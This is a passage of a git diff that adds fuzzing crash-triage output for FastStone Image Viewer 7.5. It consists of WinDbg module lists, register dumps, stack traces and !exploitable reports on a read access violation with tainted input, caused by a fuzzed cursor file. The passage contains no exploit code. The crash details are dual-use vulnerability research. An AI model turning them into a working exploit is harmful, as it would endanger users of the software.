00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74ba0000 00000000`74bc2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1618.143c): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=0fffed2d ecx=07f37b10 edx=00003879 esi=cfe30010 edi=0fd18fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.757935550378558560000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-3.13089e+023 5.23556e+008 -1.16365e+024 -7.51305e-015 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 08018130 07f95930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00266000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00266000 20d0ad20 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62b2 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00266000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/42799/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/42799/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..bd3426e Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/42799/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/42935/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/42935/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..24ca36b --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/42935/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Reading From 0x00000000001a4002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/42935/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/42935/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..cb630bc Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/42935/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/42935/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/42935/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..5fd9fd7 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/42935/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,194 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0xCB4: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0xCB4: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(cb4.74c): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=0001ed2d ecx=07e67b10 edx=00003879 esi=ffdd0010 edi=0f6c2fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.721343803397653600000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 7.272811000000000000000e+0006 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-0.0596261 27.8754 3.51782e-008 58023.1 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f48130 07ec5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 0032a000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 0032a000 4a8e11c3 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62b9 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 0032a000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/42935/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/42935/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..5fd9fd7 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/42935/WindowsDebugEngine_description.txt @@ -0,0 +1,194 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location 